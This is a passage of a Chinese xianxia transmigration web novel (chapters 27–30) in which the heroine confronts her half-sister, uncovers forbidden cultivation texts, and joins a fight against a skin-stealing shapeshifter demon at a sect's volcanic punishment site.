原文中因为她这个炮灰早早领了盒饭,也就没有像如今这样私生女和正牌女儿对峙的场景,现在倒是好了,她是不知道虞曦云清不清楚她的身份,但只看她已经把那条鲛月鞭握在手里,就知道今日怕是不能装作无事发生了。 虞曦云的脸色不大好看,将两人上下一打量:“何人竟敢随意进出藏书阁重地!” “我是宗主新收的亲传弟子,”虞知鸢不紧不慢取下身上的玉牌,在虞曦云面前晃了晃:“师妹该唤我一声师姐才是。” 说来也是奇怪,那虞瀚玥倒是把虞曦云捧在掌心,可却并未将她收为亲传弟子,偏倒是将这名头给了虞知鸢。 而如今宗主座下有且仅有两个亲传弟子,虞知鸢还真当得起宗门内除宗主长老和慕言蘅之外所有人的一声“师姐”。 只不过虞知鸢本就不在乎这个名头,这几日也就更没有拿这来说过事。 而眼下这虞曦云既然来者不善,她倒也不介意用这个名头来压一压她的傲气,省得虞曦云以为她和姜辞好欺负,回头再跟原文中一样动不动就让姜辞伏低做小。 姜辞现在可是她罩着的呢。 那头的虞曦云显然是被她这句话打了个措手不及,一愣过后,很快想起来那日那两个外门弟子所言,目光再在面前少女的脸上打量一下,眉头几乎拧到了一处去。 如果没记错,爹爹这个新收入座下的亲传弟子……也姓虞? 心里那股怪异之感挥之不去,而另一头虞知鸢还在对她指指点点:“这藏书阁我自是想来就来,只是不知师妹又是如何进来的,可有得到宗主允许?若是没有,那师妹如此随意进出藏书阁,恐怕不妥哦。” 虞曦云听了她这倒打一耙的话,抓着鞭子的手攥得更紧了。 这凌云宗内门谁不认识她,自小到大,除了禁地,就没有她不能去的地方,哪里还需要别人的允许? 如今这个才入内门的弟子竟然就敢来指摘她? “师妹,”虞知鸢眨眨眼,好心提醒道:“这藏书阁可是禁止切磋的。” 虞曦云:“……” 下一刻,她飞快调转鞭子指着的方向:“那这位师妹又是如何进得来这藏书阁?” “自然是我带进来的。”虞知鸢伸手捉住姜辞的指尖,示意他往自己身后站:“既然虞师妹你可以进来,她为什么不行?” 姜辞抿了下唇,垂下眼,瞧住了那只正抓着他的手。 楼下又传来声音,这回语气带着浓浓的疑惑:“曦云师姐在与谁说话?” 虞知鸢轻轻眨着眼,“师妹既然还有事,那我们就不打扰了哦。” 话落,拉着姜辞,绕开虞曦云便往楼下走去。 四层的楼梯口果然站了个人,还是个熟人。 林喻在见到楼梯上一前一后下来的虞知鸢和姜辞时,也短暂地怔了下。 但他很快便又反应过来,朝着两人温和一笑,微微颔首:“原来是虞师……”他说到这似是想到什么,忽而改口道:“是虞师姐,还有姜师妹。” 素来被林喻唤作“师妹”,他这突然的改口,也不知是不是听到了她和虞曦云的对话。 林喻在拜师典礼上被灵渊长老收入座下,与虞曦云是同一个师尊,却不知这才几日功夫,就能在虞曦云身边跟进跟出的了。 不过虞知鸢也不在乎这些,挥了挥手,老神在在道:“林师弟不必着急,虞师妹马上就下来了。” 说罢也不再管他,拉着姜辞便扬长而去。 等出了藏书阁,虞知鸢才撒开姜辞的手,拍拍自己的胸口,“好险好险,幸好藏书阁有禁制,。” 姜辞:“……” 瞧你方才怼得人家没法还嘴,可是半点也不像是害怕得样子。 他微微侧过头看她,冷不丁道:“她与你,倒是有几分相似。” 虞知鸢抬起眼,面上露出了点诧异之色:“你看出来啦?” 又摸了摸自己脸,喃喃道:“真的像吗?那岂不是我跟她都长得像虞瀚玥……” 姜辞顿了下,看向她的视线黯了黯。 不过也无须他开口,虞知鸢自个儿就 打算说了。 自己是虞瀚玥女儿这件事,她本来也没打算在姜辞面前藏着掖着。 多少曾经看过的小说和电视剧告诉过她,人与人之间的矛盾误会很多都是因为隐瞒而产生的,她可不希望将来因为这件事和姜辞之间生出什么误会来。 “我告诉你一个秘密。”她踮起脚凑过来,唇瓣几乎都贴到了他耳廓,神神秘秘道:“我姓虞,虞瀚玥也姓虞,你猜是为什么?” 姜辞:“……” 虞知鸢朝他眨了眨眼,像是在说没错,你猜对了。 而后又嘀嘀咕咕把自己知道的,关于原主身份事全说了。 其实说起来也就几句话的事情。 在书中原身身为一个炮灰,关于她的描述本就只是草草几句带过,而原身对于自己的身世知道的也并不多。她被带入凌云宗时年纪尚小,几乎已经完全不记得之前的事,便是原身的母亲,她甚至也都想不起来她的模样了。 但这时虞知鸢说着说着,脑海中倏地闪过了个种满瓜果蔬菜的院子,以及站在院中的,那个眉目如画的女子。 那是……在问心阵时,她梦中的那个女子。 虞知鸢顿了下,眉头也跟着不自觉地微微蹙起。 耳边突然没了声音,姜辞侧眸,便见到了虞知鸢一副出神的恍惚模样。 半晌。 虞知鸢也没有就脑中的画面想出个所以然来,索性也不再想,只摇了摇头,对姜辞道:“不过我的身份兴许对虞瀚玥来说并不光彩,他瞧着并不想认我这个女儿,这亲传弟子的名头,想来也不过是他为了安自己的良心才给我的。” 姜辞:“……” 他倒不觉得虞瀚玥会有什么所谓的良心。 但既是父女,以她这般简单的心思,对父亲兴许是会抱有一丝期待? 虞知鸢不知道他在想什么,只自顾自地道:“我是母亲死后才被他从凡间带回来的,在那之前,我应当是没有见过他的。所以他定然也就是个抛弃妻女的渣男而已。我最恨像他这种爽了一时,却又不负责任的人了,他不想认我,我还巴不得呢。” 她说到这里,还不自觉地捏了个拳头,语气愤愤。 姜辞:“……” 她还真是什么都敢往外说。 便是他从未耳闻过的“渣男”一词……竟也是很贴切。 他侧眸瞧她一眼,眸中黯色尽散,又忍不住勾了勾唇。 另一厢。 虞曦云从藏书阁出来,直奔虞瀚玥住处。 恰好有人推门出来。 虞曦云见到人,心中一急,“息尘长老,可是我爹他旧伤又复发了?” 息尘长老点点头,见虞曦云面露焦急,安抚道:“宗主没有大碍,熬过这一两日也便好了,阿云不必过于忧心。” 虞瀚玥早年除妖时中了妖毒,这妖毒霸道,虽不至伤到性命,但每隔两三月便总要复发一次,也致使他这么些年来,境界始终没有提升。 思及此,虞曦云眉头紧蹙,忍不住问道:“息尘长老擅长医道,真的没有办法解这妖毒吗?” 息尘长老喟叹一声,只还未来得及说话,屋内便传来了虞瀚玥的声音。 “阿云进来罢。” 虞曦云推门而入。 只见临窗而设的桌案旁,虞瀚玥端坐座上。 他面上与往日并无不同,只是那被玉冠束着的头发,却是渐渐从黑变作银,又从银色变作白色,如此往复循坏。 相比于有几次整个人都不断经历着从年轻到衰老的过程,此刻的情况确如息尘长老所说的并无大碍,想来是前个月大师兄从秘境中寻来的天元果起了作用。 虞曦云才松了口气,虞瀚玥便朝她看了过来:“阿云来寻爹可是有事?” 虞曦云顿了顿。 她今日过来,确实是想问一问关于那个被爹爹新收作亲传弟子的少女,但眼下爹爹妖毒发作…… “没什么事,我就是来看看爹爹。”虞曦云道。 虞瀚玥盯着她,且等了片刻,方才开口道:“阿云这瞧着可不像是没事。”他顿了顿,缓声道:“是为了我新收的那弟子?” 虞曦云抿抿唇:“爹爹总是什么都知道。” 虞瀚玥低头抿了口茶:“那是你的姐姐。” 虞曦云知道自己的父亲在和母亲结侣前在凡间曾有过一个妻子,今日见到虞知鸢后,心中对她的身份也早有猜测,但此时听虞瀚玥连顾及一下她的心情都没有,就这么毫无遮掩地说了出来,她仍是难以自控地红了眼睛。 “那……”她咬了咬唇,“爹爹要将她的身份公之于众吗?” 虞瀚玥不置可否,搁下茶盏,缓缓道:“阿云,她与你不同,你不必拿她来和自己比较。” “那爹爹为何要收她作亲传弟子,却要我拜灵渊长老为师?”虞曦云不解。 虞瀚玥像是叹了声气,“此事爹爹之前便与你说过,你于符箓阵法一道上天赋最佳,拜在灵渊座下才能发挥你的天赋。” 这话虞曦云之前还听得进去,现下却只觉得虞瀚玥就是为了让自己的另一个女儿做自己的亲传弟子,才会不要她。 她跺了跺脚,丢下一句“爹爹就是偏心”便转身跑了。 息尘长老一直站在门外,见状,看了看虞瀚玥:“宗主不去看看?” 虞瀚玥不知可否:“她总该要长大的。” 息尘长老似乎也只是顺口一说,听虞瀚玥这么说,点了点头,随即正色道:“天元果虽是缓解了宗主身上的毒,但却无法根治。若是再这样下去,宗主的寿数怕是要受不少影响。” “无妨,”虞瀚玥敛回视线,声音依旧淡淡:“总会有办法的。” 似是毫不在意。 第28章 第28章其实修仙也没有什么好,…… 转眼便是几日过去。 虞知鸢没能在藏书阁里找到那本能治愈姜辞灵脉的功法,倒是发现了一些其他的好东西。 在本书的设定中,修士虽同以灵气为修炼之源,但因为修炼体系以及修士本身的天赋不同,生出了许多修炼方向,例如修剑、修法、修丹、修符等等。 修真界内大小宗门林立,但其中大部分都只精于某一方面,御兽宗擅长御兽,万药宗精通炼丹,天机阁善于推演。 而凌云宗身为修真界内第一大宗,虽以修剑为主,其他各个方面却多多少少也都有涉猎,更是不拘弟子修炼方向,只凭各人选择。 也因此,凌云宗的藏书阁几乎是修真界内藏书最多最全的,涉及到的种类更是多到数也数不清。 可即便如此,虞知鸢也没想到过能在这里看到关于炼毒、炼蛊,甚至是炼制傀儡的古籍,要知道这些在现如今的修真界中,那可都是邪修的修炼之法。 虞知鸢初初发现这些古籍,拿给姜辞看的时候,那叫一个鬼鬼祟祟,哪知姜辞倒是丝毫不以为意。 “修炼之法没有正邪之分,即便是邪修,魔修,也有曾踏上登天梯的,是正是邪,端看修炼之人自身罢了。” 虞知鸢刚一听还觉得挺有道理的,后头一翻书,看到了什么用死人头骨做引路司南,吞噬他人的神魂来增强自己的法力和寿命的噬魂术,还有那个能够将两人生老病死捆绑在一起的白头蛊…… 实在吓人的紧。 她颤颤巍巍合上书,生怕有人发现她看过,再拿她当邪修给处理了,赶紧把书放回原地。 这时姜辞冷不丁凑过来,微微俯身,在她耳边轻声道:“要我说,其实修仙 也没有什么好,不如修魔。” 她的唇停在她耳侧,若有若无的触感,温热的鼻息连同她身上那股清冽的气息一起缭绕过来,虞知鸢的呼吸都不自觉地滞了滞。 她偏过脸去,余光却扫见姜辞一贯清冷的面容像是愈加冰冷了些,幽深的眼眸深处似有猩红闪过。只等她转回眸再细看,便又没了。 是错觉吗? 虞知鸢心里忽然有些不安。 而后才又反应过来姜辞方才说了什么。 修魔?!? 姜辞在原文中可是修真界将来的正道之光,怎么竟能说出这种话来?她的心魔不是在问心阵时就已经…… 不,不对,过了问心阵只证明了姜辞可以战胜心魔,却并不代表她的心魔彻底除去。即便现在是除去了,谁又能保证她将来不会再有别的心魔? 可一个人若是道心坚固,又怎会轻易产生心魔?这不是和书中的人设矛盾了吗? 虞知鸢一时也想不清楚。 别人穿个书都简简单单任务明确,怎么到她这里,哪哪都不对劲。 她不知道阻止姜辞黑化后她是不是真的能够飞升,但她知道从姜辞嘴里能说出这种话来,这可着实不是一个好现象。原文中她的黑化入魔……难不成此时就已经有苗头了? 姜辞从不知道一个人的表情可以展现出这么多的情绪,从怔愣到震惊,疑惑,再到茫然,懊恼,堪称丰富多彩。 他见虞知鸢这般模样,几句话在舌尖悠悠兜转几圈,到底还是转开了视线,吐字懒散道:“我不过随口一说罢了,师姐不必当真。” 说罢他便没事人一样,从书架上把她方才放回去的一本古籍又抽了出来。 虞知鸢脑子都还没反应过来,手就已经毫不客气地把那古籍抢了过来。 她看看姜辞那张似笑非笑的脸,再低头看看手里的古籍。 ……不管怎么样,这些古籍是决计不能给姜辞看了。 她索性把书丢到了自己的储物袋里。 藏书阁的书是可以外带借阅的,就像现代的图书馆,甚至不需要登记,书上自有禁制,规定借阅的时间一到,你不还,书自己也可以回到藏书阁。 等虞知鸢放好古籍再一抬头,透过书架的缝隙,正好看到楼梯上来的人影。 “息尘长老!” 息尘长老听见声音,朝她看过来,面色和煦,微微点了下头。 自入内门之后,虞知鸢不是没有尝试过去找息尘长老,想要弄清楚息尘长老为何要助她过问心阵,她总觉得这事或许并不简单。可惜息尘长老统管整个外门,事务繁忙,几次过去,都未能够见到人。 没想到,今日倒在藏书阁遇见了。 虞知鸢拉着姜辞一起躬身行了一礼,“弟子二人自入内门后,一直未曾拜见长老,还望长老见谅。” “你二人才入内门,修行为上,不必在意那些虚礼。”息尘长老抬手示意二人起身,目光掠过虞知鸢和站在她侧后方的姜辞,笑了笑,道:“问心阵之后,你修为进益许多,可见这些日子有在勤加修炼。” 虞知鸢听到这话还真有几分不好意思,她这些日子除了按部就班上早课,其余时间几乎都放在了藏书阁之中,要说修炼,恐怕还没自己睡觉的时间多呢。 她忙转开话题:“还要多谢长老之前——” 息尘长老像是知道她要说什么,摆手打断她的话:“世间因果,种种轮转,环环相扣。你二人能入内门,是你们与凌云宗之间的因果,至于其他,都只是因果中的一环罢了。” 虞知鸢听得一知半解。 如果说因果的话,那她唯一的因果,也只有和虞瀚玥的父女关系了。这么看来,息尘长老果然是看在这层关系的份上才给她开的后门。 没想到啊,她竟然在修真界里靠上裙带关系了…… 虞知鸢心中悄悄嘀咕着,此时又听得息尘长老的声音: “说起来,藏书阁的这第五层确实有许多修真界中少见的古籍,但你二人才入内门,这些古籍怕是不大适合你们此时修炼,不如还是去下头瞧瞧。” 虞知鸢方才就被姜辞一番修魔的言论惊得不轻,这会儿再瞧这周围满满当当的书架,哪怕那修复灵脉的功法就在其中,也不敢再在这多待了。 于是谢过息尘长老后,她就拉着姜辞离开了藏书阁。 好在这之后,姜辞也不再提起修魔之事,让虞知鸢大大松了口气。 翌日。 虞知鸢醒过来,外头已经天光大亮。 她当即起身,简单洗漱后,便往姜辞的住处过去。 如今她和姜辞都同住中阙峰,内门弟子本就不多,中阙峰又足够大,每个弟子都单独住一个小院。 只是等她进院子,推开屋门,绕过屏风,却是见床榻上被子叠得整齐,不见人影。 这么一大早能去哪儿? 还是说,瞧这床榻,是一整夜没回来? 虞知鸢默了片刻,又转身离开。 外头正好有弟子见到她从姜辞院子里出来,忙问:“师姐可是在寻姜师妹?” 虞知鸢脚步一顿,应了声:“嗯,你看到她了吗?” 说起来,她眼下虽是虞瀚玥的亲传弟子,可这修为弄不好还是所有内门弟子中垫底的,这些天听其他弟子一声声叫她“师姐”,听得她自己都心虚。 “我方才瞧见姜师妹往道场去了。”那弟子说这句,似是想起来什么,又补充道:“我听说大师兄昨天晚上从山下历练回来了,今日想必会和大家一起做早课,姜师妹兴许是去看大师兄了。” 虞知鸢“啊”了声,想起来这段时间也是该到男主慕言蘅出场的时候了。 原文中有提及慕言蘅回来的日子是在姜辞拜入内门之后,可具体是哪一天却并未详细说明,原来就是在今天。 只是姜辞因为之前在问心阵中灵脉受到了冲击,这些日子除了和她一起去藏书阁,其他时间都在屋中静养,便是早课也一次都没去过。 这一听说慕言蘅回来,竟然就起了个大早去道场? 虞知鸢啧啧感叹:看来男女主之间,果真是有着天定的缘分啊。 等她感叹完,紧接着便又想起件事来。 这男女主的初遇,那可是伴随着一场不大也不小的风波的。 原书中,男主慕言蘅在凡间历练时除掉了不少妖邪,其中有一只善于变幻容貌来迷惑他人的幻妖逃过一劫,这只幻妖修为不高,胆子却是不小,知道慕言蘅乃凌云宗首席大弟子,竟抢先他一步,偷了慕言蘅的玉牌,扮作他混进了凌云宗。 当然了,这种把戏是迟早会露陷的,幻妖幻化成的模样也维持不了太长时间。 但那幻妖本也没想扮作慕言蘅太久,而只是想借着慕言蘅的身份,勾搭一个凌云宗的弟子,再杀了剥掉皮穿到自己身上。 这样一来,只要平日不高调行事,就不会被宗门里那些修为高的修士发现。 计划确实不错,风险虽大,可一旦成功,那回报可就丰盛了。 而虞知鸢之所以没提前就防范起来,是因为即便是原文中,这幻妖的诡计也压根没得逞一点。 谁让幻妖看上的皮囊恰好就是姜辞的呢? 以姜辞的聪慧机智,自然很轻易就看出了幻妖的破绽,她一边勾着幻妖,让其目标只放在自己身上,一边又使计拖延时间,等到慕言蘅赶来时,二人便合力将幻妖给彻底灭了。 两人初次见面,姜辞就给慕言蘅留下了深刻印象和初步好感,这才有了后头两人一系列的爱恨纠葛。 虞知鸢觉得男女主之间这样的初遇就很好,完全没必要去改变,也就没把这事太放在心上。 但不改变倒也并不代表着她不想看热闹。 于是她立刻脚步一转,往道场方向去了。 这个时间正是早课的时候, 道场上聚集了不少弟子,粗略一扫,有二三十个。 “我听说大师兄昨晚便回来了,想必今日早课也会过来,我才入内门,都还没见过大师兄呢。” 说话的是这回和虞知鸢一批进入内门的弟子。 旁边有人应和:“说起来我也没见过大师兄几回,他可是咱们修真界少有的天才,这回下山历练回来,想来定是大有突破,说不定不日就又要进境了。” “可不是嘛,大师兄向来是最厉害的。我听说宗主有意让大师兄接任息尘长老的位置呢。” 虞知鸢正从人群中穿过,闻言不由地停住脚步。 接任长老之位?原书中似乎没提过这茬? 她悄悄竖起了耳朵。 “真的假的?大师兄虽然厉害,可接任长老是不是资历还尚且欠缺些?况且息尘长老那边也没有什么不妥的啊。”显然也有人和她一样持怀疑态度的。 “大师兄这般人物日后必定大有所成,如今这话都传出来了,可未必是空穴来风。” “就是,两个月后便是宗门大比了,若是大师兄能在大比中取得好名次,长老之位也并无不可啊。” “……” “虞师姐。” 虞知鸢正听到兴头上,忽然有人在旁边叫她。 她歪了歪头,看到了站在不远处的林喻。 林喻入的是灵渊长老座下,居望尘峰,这几日也只有在内门弟子都需要参加的早课时才能偶尔见到一回。 见虞知鸢看过来,他望着她笑笑,像是才想起来什么,温声道:“这几日未见,师姐的修为又精进不少。” 虞知鸢摆摆手:“林师……弟这几日不是在为灵渊长老试阵吗?今日怎么得空来上早课了?” “我是来找曦云师姐的。”林喻无奈道:“师尊眼下钻研的这个阵法需要我和曦云师姐一起试阵,只是曦云师姐一早听说大师兄回来就不见了人,师尊这才让我过来中阙峰找找曦云师姐。” 虞知鸢可不想管虞曦云的事,第一反应就是要让林喻自便,但很快又意识到了问题。 今天可是姜辞和慕言蘅的主场,这虞曦云去找慕言蘅,万一再插一手,可别再弄出别的什么事来,搞砸了人家的初见。 不行,绝对不行。 她立刻对林喻道:“不如我与你一道去吧。” 她话音刚落,另一边便有人问道:“师姐这是要去哪?” 这声音…… 可太熟了! 虞知鸢侧过脸,不自禁地瞠圆了眼睛,“你……你怎么在这里!?!” 第29章 第29章这样的关心……便该只属…… “我为何不能在这里?”姜辞看着她,轻轻勾起唇角,“怎么,我打扰到师姐和这位……林师弟叙旧了?” 虞知鸢:“……” 什么叙旧不叙旧,这是重点吗? 重点是今天是男女主的初见,如若按照原文中的发展,那此时的幻妖应当已经找到了剥皮的人选了才是,姜辞作为女主,这时候应该在跟幻妖周旋,可现在她为什么会出现在这里!?! 那么现在问题来了,女主在这里,那幻妖又在哪里? 还有林喻迟迟找不到的虞曦云…… 应该不会这么巧……吧? 但,万一呢? 想到这个可能,虞知鸢立刻不安起来。 按理说这幻妖应该不会蠢到对宗主的女儿下手……? 还真不好说。 要是不蠢怎么会想到这样的法子混入凌云宗。 但即便幻妖是真那么蠢,那虞曦云自小和慕言蘅自小一起长大,也不应该认不出来那是幻妖假扮的……吧? 可谁又能保证呢?万一没认出来呢? 虞知鸢一跺脚,伸手抓住姜辞衣袖便往道场外走,还不忘回头催促林喻:“快,我们一起去找。” 姜辞任由虞知鸢拖着他走,又瞥了眼跟在两人身后的林喻,少顷,动了动唇:“找谁?” 虞知鸢嘴快道:“找虞曦云。” 话是这么说,可刚走出道场,虞知鸢就犯了难。 放眼望去,连绵的群山藏在云雾之中,铺满了整个视野,其中能够藏人的地方可真是数不胜数,他们又没个方向,该上哪找人去? 虞知鸢左右看看,忽地脑中灵光一闪。 或许……也不算是没方向。 如若剧情和原文中一样,是真的有幻妖假扮慕言蘅的话,那幻妖选择动手的地方兴许不会变。 而原文中,幻妖带姜辞去的地方,是…… “孤绝岩。”有人在她耳边道。 不错,就是孤绝岩。 孤绝岩是门中弟子犯大错后思过的地方,并不在中阙峰上,而是望尘峰后山附近,平日若无人被罚思过,孤绝岩上便连看守的弟子都没有,正是幻妖动手的好地方。 她当即召出自己的剑,带着姜辞一跃而上,直奔孤绝岩方向。 而等跃上了剑,被风一吹,虞知鸢忽然反应过来。 她是因为看过原文内容才知道幻妖可能会去孤绝岩,可姜辞她又是如何知道的? 因为正御剑,她只能微微侧过脸去看姜辞。 姜辞似乎是看出来她的疑惑,满不在乎地“啧”了声,淡声道:“我瞧见了。” “你瞧见了?!?”虞知鸢诧异,想了想,又问:“你是瞧见她一个人,还是有旁人?” 姜辞挑眉:“不是一个人,但另一个,恐怕不是人。” 所以……果真是幻妖么? 虞知鸢一想到可能会发生的事情,不禁倒吸一口冷气,语气焦急:“你知道那不是人,为什么不拦着她?” “什么不是人?”跟在后头的林喻不知何时已经驱剑追赶上来,听到了两人的对话,面上跟着带上几分防备。 姜辞没答,只是垂眸看住了虞知鸢。 若是往常,她该是要缠着他问清楚那“不是人”的到底是什么,可眼下她却只顾闷头往孤绝岩的方向赶,似乎对那妖并不好奇,只是很着急,倒像是很了解那妖,知晓那妖想做什么似的…… 所以,她竟然如此关心旁人吗? 可她说过她会与他一起的,那么这样的关心……便该只属于他一人才对。 至于那个蠢笨的女人…… 姜辞敛下眼皮,遮住了眸底冷意。 虞知鸢哪里知道姜辞这时候在想什么,心中也觉得自己方才的语气是不是有点像在质问,这可是女主啊! 她怎么能质问女主? 她是不想当狗腿子了吗? 不,她当然想。 于是她讪讪转回视线,也顾不上林喻了,只催动灵力,加快了御剑速度。 不多时,孤绝岩的轮廓便遥遥在望。 虞知鸢正要往下降,肩膀上忽然压下来个重量。 她楞了下,正要侧首,姜辞已经抬手按住她另一边的颈侧,轻轻摩挲了下。 “师姐,你知道的,我灵脉受损,前些日子受的伤又还未好,我是看出来那东西是妖,可我就算拦着了,怕是也讨不得好。” 姜辞一边解释着,一边将下巴搁在了她肩头,说话时气息喷吐在她颈间,掀起一阵阵酥麻的痒意。 虞知鸢:“……” 她是站不直了怎么的? 但她还顾不上问,倒是因为感觉到姜辞的气息不断落在颈间耳侧,不由自主地打了个哆嗦。 一种怪异的感觉袭上了她的四肢。 脚下的剑也因此晃了起来,摇摇欲坠。 虞知鸢一惊,立马屏气凝神,将那奇怪的感觉抛到了脑后。 “师姐是在怪我吗?”姜辞还在说,她整个人都几乎已经贴到她背上。 虞知鸢吐出一口气,余光这才注意到姜辞有些泛白的唇色,立马也想起来她身子不好这件事,暗骂自己 怎么竟忘了孰轻孰重。 她难得有点心虚,轻轻咬了咬唇,这才道:“没有怪你,你当然是……嗯……最重要的。” 姜辞眸光一闪,挑眉的一刻说不清的淡漠语气流出,“那她呢?” 虞知鸢:“……谁?” 没能等到姜辞的回答,便已到了目的地。 孤绝岩,顾名思义,此地除一块块巨大的石头外,别无他物。 且孤绝岩上的石头还与别处不尽相同,奇形怪状不说,便是颜色都呈现出一种火红的妖异。 石头下的缝隙中,甚至隐约可以看见一些大大小小熔岩裂缝,里面火红异常,喷吐着炙热烤人的热风和灰白色的飞灰。 像是底下藏着岩浆似的,可这地方又不是像是座火山,甚至压根连山都不是,只是一处位于中阙峰后山峡谷的一处岩石群。 不过虞知鸢只瞥了两眼也就不再好奇,毕竟这世界都可以修仙了,有这样的地方也算不得多奇怪的事。 反而脚下踩着的地方温度高,就是穿了鞋都有点烫脚,让她不得给自己以及自己身旁的人张起一个结界。 林喻抬眸望了望四周,面上疑惑之色更浓:“姜师妹是不是看错了,大师兄和曦云师姐来这地方做什么?” 姜辞还未说话,他紧接着话头一转,又问道:“还有方才姜师妹说的,什么不是人?” 虞知鸢哪解释得清楚,她知道的都是原文中的内容,那幻妖她更是见都没见过,眼下又是紧要时候,她都怕说这几句话的功夫,那虞曦云就叫幻妖给剥了皮了,哪里还有心思编出个一二三来。 既然姜辞能看出来那是妖,那就让她与林喻说好了。 虞知鸢这边自顾找人,姜辞却是突地用拳头掩嘴咳嗽了起来。 林喻见状也不由蹙眉:“姜师妹这是怎的了?” 姜辞顿了下,视线落在前头人的背影上,咳嗽一声,“兴许是因为我方才与那妖有过接触,无意中着了那妖的道了。” 他说着,脚下一踉跄,险些栽到虞知鸢身上去。 虞知鸢吓了一跳,再回过头来,才发现姜辞的脸色瞧着确实不大好,尤其眉头一耷拉,就更显得没精神,走路都有些摇摇晃晃的了。 刚刚出道场的时候不是还好好的么…… 虞知鸢懊恼地拍了拍自己的额头。 她怎么给忘了,那幻妖的目标本来就是姜辞啊。 那说不定之前就在姜辞身上动了什么手脚了呢? 她心里一紧,赶紧回过头来搀住了姜辞的手臂,生怕她一个腿软再摔一跤。这些石头那么烫,那到时候不成鹅卵石小炒肉了? 姜辞见状更是得寸进尺,整个人往虞知鸢身上一倚,一副虚弱得走不动道的样子,“我不大舒服。” 声音轻飘飘的,听得虞知鸢一个紧张,脱口而出道:“要不我先带你回去休息?” 至于虞曦云,反正林喻在这里,想来过不多久慕言蘅也就来了,赶得上最好,赶不上,那只能怪她自己眼神不好了。 她正在心里试图说服自己,忽然一道带着疑惑的声音从不远处的大块岩石后传来。 “大师兄究竟为何带我来这里?” 是虞曦云。 虞知鸢和林喻对视一眼,石头后便有跟着响起一道带着浅淡笑意的男声。 “我于凡间历练一趟,给师妹带回一些好玩的东西,师妹可要瞧一瞧?” 顶着这张凌云宗大师兄的脸,幻妖勾唇一笑。 绝对不会有人会想到,会有妖怪胆敢在这凌云宗,修士汇聚的地盘行事吧。 虞曦云张了张嘴。 方才在道场瞧见大师兄与那叫做姜辞的女修在一起说话,她一时气急,拉着大师兄就走,以至于大师兄带她到了孤绝岩,她才察觉出今天的大师兄像是有些怪异。 只是她再提要回去,大师兄却不肯了。 那边幻妖也不等虞曦云回答,自己便抬起手,摊开了手掌。 一阵流光自他掌心倏然散开。 “……大师兄?”虞曦云只觉得眼前一晃,竟然看见从来不苟言笑的大师兄露出了个笑容。 只是这笑容牵动得大师兄整张脸都有些变形,不像人,倒像是纸糊的面具了。 她心中一惊,倏尔又闻见一点妖气。 “你不是大师兄,你是……妖?” 幻妖半点也不慌乱,反而还点了点头,笑道:“师妹现在才发现,倒是晚了些呢。” 他实在难以抑制内心的激动。 方才这东西是专克修士的。 吸入后,难以调动真元,体内灵气也无法凝聚,再杀起来,可就轻松得多了。 只待他穿上眼前这张人皮,日后便能在凌云宗来去自如…… 想到这里,幻妖再也等不及,骨节分明的十指瞬间变成了尖利的爪子,直直朝虞曦云挥下去。 这边虞曦云抬手一掐诀,才发现体内灵力溃散,压根无法使出法术来。 她只能就地一滚躲开,但因为结界也随着灵力的溃散而消失,她身上实实在在被脚下的石块给烫了个不轻。 那幻妖见状也不禁皱起了眉,冷声道:“小心着点,你把皮烫坏了,待会儿我穿什么?” 说罢当即挥爪扑了上去。 虞曦云面色惨白,起身后立即扯下腰间长鞭朝幻妖挥过去。 鞭子带起呼呼风声。 然而幻妖只微微一笑,轻而易举便侧身避开,一伸爪子便将长鞭握在了自己手里。 这条鞭子一瞧就知道是件法器,可没了灵力驱使,这威力恐怕还发挥不出十之一二来,比那普通的鞭子也强不了几分,即便她不躲开,又能伤她几分? 他心里正洋洋得意着,岂料背后突然一股灼热的力量袭来,不给他半点反应时间,瞬间将他弹飞了出去。 一切只发生在电光火石间。 等到虞曦云再一眨眼,眼前的幻妖已经只剩了半张脸皮,露出了红红白白的组织。 断线一般的血珠滴滴答答落到地面上。 虞曦云怔了下。 下一刻,转过身便忍不住呕吐起来。 幻妖也怔了下。 他低下头一看,自己的半个身子都被打烂了,还隐约散发出一股焦臭味。 之前幻妖还不觉得,此时一发觉自己这副惨状,巨大的疼痛瞬间席卷而至。 伴随着一声凄厉的哀嚎声,另一个疑惑的声音一道响起:“唔?这金光诀原来这样厉害的吗?” 第30章 第30章书里也没说这慕言蘅是个…… 幻妖闻声,艰难地抬头望去。 从岩石后现出三个人影来,身上皆挂着凌云宗内门弟子的玉牌,其中有个像是没骨头一样靠在别人身上的,正是他原先看上想要她皮的那个女修! 幻妖从巨大的震惊中回过了神,顿时又气又疼。 可恶! 定是那女修对这个凌云宗大师兄爱慕已久,见大师兄被别的女修拉走,不甘心才跟上来,这才撞破了她的计划。 他强忍住痛苦取出了自己保命的法宝。 这是一条火红色的长绫,是他从一处秘境之中偶然取得,厉害得紧呢,不然他也不敢冒这么大个险来这凌云宗。 只是可惜这几人的皮囊了,尤其是那两个女修,比方才那个颜色可是胜了许多。 幻妖越想越生气,剜了眼正在呕吐的虞曦云。 都怪她! 若不是方才被她拖走,说不定那其中的一副皮囊就是她的了。 可现在也没别的法子了,既然眼下已经被他们撞破,那这几个人就都不能留了。 他口中默念法诀,那火云绫瞬间化成一道冲天的火柱,朝着虞知鸢三人迅速扑来。 虞知鸢在幻妖拿出那长绫时就已经警惕起来,见状赶紧掐诀,半圆透明光罩形成结界,和林喻的结界一起,阻绝了铺天盖地的烈焰。但却仍能感受那火焰的威力,霸道蛮横,周遭也同时成为一片火海。 “是火云绫。”林喻认出那法宝,同时也觉得十分头痛。 这火云绫乃是一件仙器,其化成的火焰非寻常的火,若不能将目标吞噬而尽,这火哪怕土埋水淹都是灭不了的。 也不知这妖怪是从哪里找来的这样厉害的法宝。 虞知鸢听林喻这么说, 也想起来书里姜幻妖也是用的这火云绫来对付姜辞。 但既然书里的姜辞都有办法脱身,那现在的姜辞肯定也可以啊。 她一边维持着结界,一边转头眼巴巴看向姜辞。 明明一个字都没说,姜辞却明白了她的意思。 他都不知道她对他都是从哪来的信心…… 片刻后, “……火云绫是仙器,自该用灵力来催动,能维持火焰不灭的自然便是天地之间的灵气,但现在那妖用却是用妖力来催动火云绫,想来只要灭了那妖的妖丹,这火自然也就溃散了。” 虞知鸢听完,眯了眯眼,视线落在幻妖尚且完好的右半边胸口处。 不能近取,只能远攻。 那只要再来一遍金光诀,应该就可以了吧? 只是她如今修为尚且不高,现在的灵力都用来维持结界都勉强,若是抽手,这结界说不定就垮了。 正在此时,姜辞忽然抬起头,透过结界似乎在看些什么。 虞知鸢顺着她的目光转过头,便见上方的虚空中,一道人影飞速朝这边过来。 姜辞微微抬起的手很快放下。 下一瞬,一道凛冽破空声便已倏忽而至,穿透熊熊火焰,笔直朝幻妖驰去。 